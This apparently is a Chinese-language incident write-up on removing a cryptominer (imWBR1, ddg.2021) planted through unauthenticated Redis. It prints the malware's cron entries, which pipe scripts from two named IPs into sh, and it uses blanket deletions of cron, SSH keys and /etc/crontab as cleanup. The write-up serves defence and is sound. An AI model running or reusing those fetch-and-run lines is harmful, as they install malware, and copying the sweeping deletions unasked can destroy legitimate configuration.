#背景
檢查服務器資源的時候發現服務器的CPUC已經100%，而且是一直是這樣，
##先看top進程使用情況
# top
top - 18:10:50 up 196 days, 18:59, 2 users, load average: 4.47, 4.21, 4.11
Tasks: 163 total, 1 running, 162 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 1.6 sy, 98.4 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 16267972 total, 185160 free, 14179644 used, 1903168 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 1689432 avail Mem
Which user (blank for all)
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 400.0 0.3 78595:40 imWBR1
1 root 20 0 43296 2364 1112 S 0.0 0.0 52:21.51 systemd
根據CPU使用率排序，可以看到排行第一imWBR1的CPU使用率是400%，它的進程id是16634
##根據它的進程查看命令情況
# ps 16634
PID TTY STAT TIME COMMAND
16634 ? Ssl 78597:57 /tmp/imWBR1
可以看到它是從/tmp/imWBR1運行的
那麼我們查看該目錄下的執行文件
ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6
可以看到ddg.2021是綠色的，那麼可以肯定它就是該程序的啓動命令或者是守護程序
當我kill 16634後 它之後依然會出現在進程中，顯然他是殺不死的，因此尋找命令有
ddg.2021會發現它也有一個自己的進程一直在跑
top之後看下圖
#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 399.3 0.3 78613:31 imWBR1
3195 root 20 0 8030128 1.647g 0 S 0.3 10.6 47:12.17 java
10111 root 20 0 1565408 71356 888 S 0.3 0.4 951:29.45 ddg.2021
看到ddg.2021的進程id是10111
那麼先刪除命令腳本，在殺死進程
rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634
###殺不死的小強
是不這樣就可以了呢，很可惜，我以爲這樣就可以了，但是它並沒有啊，請看下面的圖
顯然它在15分鐘後開始自啓動了，接着大概在18：37分鐘的時候它又開始工作了，重新開啓399.7%CPU
進程情況如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2791 root 20 0 541148 44416 1000 S 399.7 0.3 40:45.54 imWBR1
2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021
4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server
7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun
而/tmp目錄中又出現了ddg.2021，而且還多了imWBR1
ls /tmp/
ddg.2021
hsperfdata_root
imWBR1
再次刪除並殺掉進程
rm -f /tmp/ddg.2021 /tmp/imWBR1
kill -9 2791
kill -9 2607
###最終版本：找到它的定時任務並刪除執行腳本和SSH的公鑰
可以肯定的是一點會有一個定時任務在不停的檢測是否程序被殺死了，如果殺死了並且可執行文件也被刪除了那麼它就會自動下載源程序並且啓動執行腳本。
根據參考文檔我去/var/spool/cron這個文件夾看了下，事實就是如此，那麼我們來看看它的定時任務內容
cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
可以看出它有兩個定時任務
刪除/var/spool/cron下的內容
rm -fr /var/spool/cron/
2.刪除ssh授權的公鑰配置信息
rm -fr /root/.ssh/*
3.刪除執行腳本和程序
在執行上面相似的方法
ps -aux|grep ddg
3458 /tmp/ddg.2021
kill -9 3458
ps -aux|grep imWBR1
3649 /tmp/imWBR1
kill -9 3649
rm -f /tmp/ddg.2021 /tmp/imWBR1
4.清空/etc/crontab中的定時任務
接着找定時任務，我在/etc/crontab找到一個，看ip就覺得有問題
cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh
清空該定時任務
echo '' > /etc/crontab
##根據定時任務查看這些腳本文件的內容
從他們提供的ip中我們可以看到如下信息
兩臺服務器的地址都在國外：
第一個IP：218.248.40.228印度
第二個IP：104.161.63.57美國
第一個ip的8080端口開啓了使用的是Apache Tomcat 6.0
第二個IP的80端口模仿Apache 的頁面
兩個腳本，第一個ip的腳步內容是下載挖礦程序並開啓定時任務
第二個腳本則比較厲害了，直接關閉防火牆，並且把遠程把遠程的SSH公鑰添加到author-key中了，這樣你的機器基本就是裸機了
爲什麼會出現上面的情況，阿里雲給出的原因如下
https://help.aliyun.com/knowledge_detail/37447.html
Redis 因配置不當存在未授權訪問漏洞，可以被攻擊者惡意利用。
在特定條件下，如果 Redis 以 root 身份運行，黑客可以給 root 賬號寫入 SSH 公鑰文件，直接通過 SSH 登錄受害服務器，從而獲取服務器權限和數據。一旦入侵成功，攻擊者可直接添加賬號用於 SSH 遠程登錄控制服務器，給用戶的 Redis 運行環境以及 Linux 主機帶來安全風險，如刪除、泄露或加密重要數據，引發勒索事件等。
受影響範圍
在 Redis 客戶端，嘗試無賬號登錄 Redis：
root@kali:~# redis-cli -h 10.16.10.2
redis 10.16.10.2:6379=keys *
1
2
從登錄結果可以看出，該 Redis 服務對公網開放，且未啓用認證。
二.修復方案
請查看我的另一篇文章：Redis配置不當致使root被提權漏洞
http://blog.csdn.net/zjcjava/article/details/78558392
我只能說還好別人沒有把你的系統資源給刪除了，不然就哭去吧，說到這麼多，公網的安全工作一定要做好，驚心動魄啊
#參考資料
清除wnTKYg 這個挖礦工木馬的過程講述
http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
Centos7被攻擊做成YAM挖礦肉雞
https://bbs.aliyun.com/simple/t285728.html